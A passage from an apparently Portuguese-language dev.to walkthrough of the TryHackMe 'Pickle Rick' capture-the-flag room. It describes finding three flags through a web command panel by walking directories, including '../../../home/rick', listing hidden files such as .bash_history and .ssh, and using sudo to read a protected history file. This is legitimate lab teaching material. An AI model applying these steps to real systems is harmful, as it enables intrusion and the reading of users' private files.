&lt;p&gt;O comando &lt;a href="https://www.freecodecamp.org/portuguese/news/o-comando-ls-do-linux-como-listar-arquivos-em-um-diretorio-e-flags-de-opcao/" rel="noopener noreferrer"&gt;ls&lt;/a&gt; lista os arquivos e os diretórios, além do comando &lt;a href="https://guialinux.uniriotec.br/cd/" rel="noopener noreferrer"&gt;cd&lt;/a&gt; para navegar entre os diretórios do terminal. &lt;/p&gt;

&lt;p&gt;O primeiro ingrediente é localizado usando ls, no painel de comando e é intitulado &lt;strong&gt;Sup3rS3cretPickl3Ingred.txt&lt;/strong&gt;. Como dica para você, caso tenha interesse, é que pode ser usado tanto o  &lt;a href="https://www.certificacaolinux.com.br/comando-linux-pwd/" rel="noopener noreferrer"&gt;pwd&lt;/a&gt; para localizar o diretório atual em conjunto com o &lt;a href="https://guialinux.uniriotec.br/less/" rel="noopener noreferrer"&gt;less&lt;/a&gt; para ler o arquivo txt, quanto também digitar diretamente no URL, que terá a resposta do primeiro ingrediente. Lembrando que "hipoteticamente" o comando &lt;a href="https://www.hostinger.com.br/tutoriais/comando-cat-linux" rel="noopener noreferrer"&gt;cat&lt;/a&gt; está desabilitado, junto com o &lt;a href="https://www.certificacaolinux.com.br/comando-nano-no-linux-editor-de-texto-guia-basico/" rel="noopener noreferrer"&gt;nano&lt;/a&gt;, &lt;a href="https://dev.to/nfo94/comandos-basicos-do-vim-e-configuracoes-uteis-gkn"&gt;vim&lt;/a&gt;, &lt;a href="https://guialinux.uniriotec.br/more/" rel="noopener noreferrer"&gt;more&lt;/a&gt;, etc.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
total 40
drwxr-xr-x 3 root   root   4096 Feb 10  2019 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 3 root   root   4096 Feb 10  2019 ..
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 ubuntu ubuntu   17 Feb 10  2019 Sup3rS3cretPickl3Ingred.txt
drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 10  2019 assets
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 ubuntu ubuntu   54 Feb 10  2019 clue.txt
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 ubuntu ubuntu 1105 Feb 10  2019 denied.php
&lt;span class="nt"&gt;-rwxrwxrwx&lt;/span&gt; 1 ubuntu ubuntu 1062 Feb 10  2019 index.html
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 ubuntu ubuntu 1438 Feb 10  2019 login.php
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 ubuntu ubuntu 2044 Feb 10  2019 portal.php
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 ubuntu ubuntu   17 Feb 10  2019 robots.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Nota&lt;/strong&gt;: Caso você tente acessar outras opções do menu, além do Commands, terá seu acesso negado, por não ser o verdadeiro Rick.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk0f6axu2d5gyeueapkj2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk0f6axu2d5gyeueapkj2.png" alt="Comando ls -la lista arquivos e diretórios presentes" width="800" height="479"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;O segundo ingrediente é um pouco mais difícil de localizar, pois para ter acesso é necessário averiguar os diretórios e subdiretórios. Neste caso, a dica que pode ser dada é a combinação dos comandos cd e ls, para que você tenha acesso a listagem de arquivos e diretórios. Lembra da dica da frase da tela inicial, que estava codificada em Base64? É exatamente esse o pensamento, explorar o máximo de diretórios possíveis. Caso continue tendo dificuldades, a dica maior é focar no diretório /home, pois é lá que estará a resposta.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ../../../home/rick&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
second ingredients

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3d22e8hcvdrga5ehtmt2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3d22e8hcvdrga5ehtmt2.png" alt="Segundo ingrediente na pasta do usuário rick" width="800" height="479"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Nota&lt;/strong&gt;: Como acessar um arquivo com  espaços? pode ser usando o próprio less  com aspas ou com barra invertida.&lt;/p&gt;

&lt;p&gt;Por fim e não menos importante, o terceiro ingrediente se encontra em um arquivo oculto em um dos perfis, por isso é interessante usar o comando -ls juntamente com o -a, para ter acesso a arquivos ocultos. Este arquivo contém os registros dos comandos que o usuário utilizou no terminal, ou seja, de acordo com o perfil terá o acesso aos comandos executados e consequentemente o último ingrediente.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ../../../home/ubuntu&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
total 44
drwxr-xr-x 5 ubuntu ubuntu 4096 Jul 11 10:37 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 4 root   root   4096 Feb 10  2019 ..
&lt;span class="nt"&gt;-rw-------&lt;/span&gt; 1 ubuntu ubuntu  769 Jul 11 11:18 .bash_history
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 ubuntu ubuntu  220 Aug 31  2015 .bash_logout
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 ubuntu ubuntu 3771 Aug 31  2015 .bashrc
drwx------ 3 ubuntu ubuntu 4096 Jul 11 10:39 .cache
drwx------ 3 ubuntu ubuntu 4096 Jul 11 10:37 .gnupg
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 ubuntu ubuntu  655 May 16  2017 .profile
drwx------ 2 ubuntu ubuntu 4096 Feb 10  2019 .ssh
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 ubuntu ubuntu    0 Feb 10  2019 .sudo_as_admin_successful
&lt;span class="nt"&gt;-rw-------&lt;/span&gt; 1 ubuntu ubuntu 4267 Feb 10  2019 .viminfo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsettu94sqtbknuy8ukr3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsettu94sqtbknuy8ukr3.png" alt="Listagem de arquivos e diretórios ocultos do perfil ubuntu" width="800" height="478"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Nota&lt;/strong&gt;: Para acessar o arquivo oculto, é importante usar o sudo para ter acesso privilegiado junto com o less.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusão
&lt;/h2&gt;

&lt;p&gt;Portanto, através da máquina Pickle Rick foi possível compreender um pouco mais sobre a estrutura do html e um pouco sobre PHP, alguns diretórios que são comuns de encontrar como o /assets e o próprio /robots.txt. Para além disso, noções referentes aos comandos linux como cd, ls, less, pwd, etc.  Por consequência, ter um olhar mais prático sobre web hacking, tendo em vista que é de suma importância compreender as bases de conhecimento em cibersegurança para conseguir realizar o desafio. As informações contidas aqui são apenas uma das formas possíveis de resolver o problema, tem muitas outras possbilidades e você também pode ter a sua, não se apegue apenas a uma perspectiva e caso você queira pontuar sobre algo, trazer sua forma de resolução, debater sobre algo ou alguma afirmação equivocada da minha parte, sinta-se a vontade, estamos aqui para somar e aprender. Lembre-se, a educação é a maior fonte de transformação, não desista!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjxwm3bg86954ab28wv3a.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjxwm3bg86954ab28wv3a.gif" alt="Rick dando legal" width="498" height="481"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>tryhackme</category>
      <category>html</category>
      <category>php</category>
    </item>
  </channel>
</rss>
